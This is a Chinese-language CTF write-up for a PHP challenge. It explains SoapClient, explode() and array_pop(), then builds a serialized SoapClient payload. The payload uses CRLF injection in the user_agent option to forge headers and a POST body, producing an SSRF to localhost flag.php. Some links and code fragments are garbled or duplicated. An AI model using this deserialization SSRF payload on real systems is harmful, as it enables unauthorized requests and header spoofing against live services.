SoapClient看完之後還不是很懂的話就可以去下面的兩個網址去補充一下
SoapClient
是 PHP 中用於與 SOAP(Simple Object Access Protocol)服務進行通訊的內建類。SOAP 是一種基於 XML 的協議,用於在分散式環境中交換結構化資訊。
以下是關於 SoapClient
類的詳細解釋:
-
建立
SoapClient
物件: 你可以使用new SoapClient
關鍵字來建立一個SoapClient
例項,用於與遠端 SOAP 服務通訊。php 複製程式碼 $client = new SoapClient($wsdl, $options);
$wsdl
:指定 WSDL 檔案的 URL 或者null
,表示不使用 WSDL 檔案。$options
:是一個可選引數,是一個關聯陣列,用於配置SoapClient
的行為。
-
配置選項: 在
$options
引數中,你可以設定一系列選項來配置SoapClient
物件的行為。一些常見的選項包括:location
:指定服務端點的 URL。uri
:指定 SOAP 請求和響應的名稱空間。trace
:設定為true
以啟用請求和響應的跟蹤。exceptions
:設定為true
以在發生錯誤時丟擲異常。
-
呼叫遠端方法: 一旦建立了
SoapClient
物件,你可以使用它來呼叫遠端 SOAP 服務的方法。呼叫方法的方式與呼叫本地物件的方法類似。php 複製程式碼 $result = $client->methodName($param1, $param2, ...);
這裡的
methodName
是遠端 SOAP 服務中的一個方法名稱,$param1
、$param2
等是要傳遞給該方法的引數。 -
處理響應: 遠端方法呼叫的結果將會作為 PHP 物件或者陣列返回,具體取決於 SOAP 服務的返回值。
-
錯誤處理: 如果 SOAP 請求失敗,
SoapClient
會根據exceptions
選項的設定丟擲異常或者返回false
。你可以透過捕獲異常或者檢查返回值來處理錯誤。
總的來說,SoapClient
類提供了一個方便的方式來與遠端 SOAP 服務進行通訊,使得你可以輕鬆地呼叫遠端服務的方法並處理返回結果。
想了解更多關於SoapClient可以去下面的兩個網址去補充一下
PHP SoapClient:多功能的Web Service呼叫工具 - 七彩魚丸 - 部落格園 (cnblogs.com)
SoapClient原生類在開發以及安全中利用_soapclient() call()-CSDN部落格
[SoapClient反序列化SSRF - 知乎 (zhSoapClient原生類在開發以及安全中利用_soapclient() call()-CSDN部落格ihu.com)](https://zhuanlan.zhihu.com/p/80918004)
迴歸正題
首先在題目上
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
explode()
函式是 PHP 中用於將字串分割成陣列的函式。它接受三個引數:
separator
:分隔符,用於指定在哪裡進行分割字串。當在字串中找到分隔符時,字串將被分割成多個部分。例如,如果分隔符是空格,則字串將根據空格進行分割。string
:要分割的字串。limit
(可選):可選引數,用於限制返回的陣列的大小。如果提供了此引數,則將最多分割成limit
個部分。剩餘的部分將被作為陣列的最後一個元素。如果省略了此引數或者設為負值,則不進行限制。
下面是一個示例,演示瞭如何使用 explode()
函式:
php複製程式碼$str = "apple,banana,orange";
// 使用逗號作為分隔符將字串分割成陣列
$arr = explode(",", $str);
// 輸出陣列
print_r($arr);
輸出:
csharp複製程式碼Array
(
[0] => apple
[1] => banana
[2] => orange
)
在這個示例中,我們將一個包含水果名稱的字串使用逗號作為分隔符分割成陣列。結果陣列中包含了每個水果名稱作為一個元素。
array_pop()則是刪除最後一個取倒數第二個
127.0.0.1 #返回:空
127.0.0.1,127.0.0.2 #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
題目
它呼叫了一個不純在的方法
結合flag.php可以想到利用
SoapClient類去利用_call魔術方法進行偽造
搞個nc在本地試一下(在網上搜一下即可)
環境變數不能用的話
就找到php.ini檔案修改裡面的
;extension=php_soap.dll
把;去掉即可
之後監聽一個9999埠 nc -lp 9999
<?php
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php'));
$client->getFlag();
是一個post請求SOAPAction的值是可控的
但是Content-Type是xml形式的
post請求應為application/x-www-form-urlencoded形式
我們可以想辦法讓下面的內容失效Content-Type上面即是ua頭所以我們嘗試去控制ua頭
<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
成功了
接下來就好辦了
我們可以利用\r\n這兩個換行符去構造各種各種的頭去湊出我們想要的post請求
當然最後別忘了設定Content-Length的值為13
也就是token=ctfshow的長度
剩下的就會被丟棄
'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua)); $client->getFlag(); ![image-20240520213146604](C:\Users\Ding0\AppData\Roaming\Typora\typora-user-images\image-20240520213146604.png) 最終即是 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua)); print_r(urlencode(serialize($client))); 傳入 vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 訪問flag.txt即可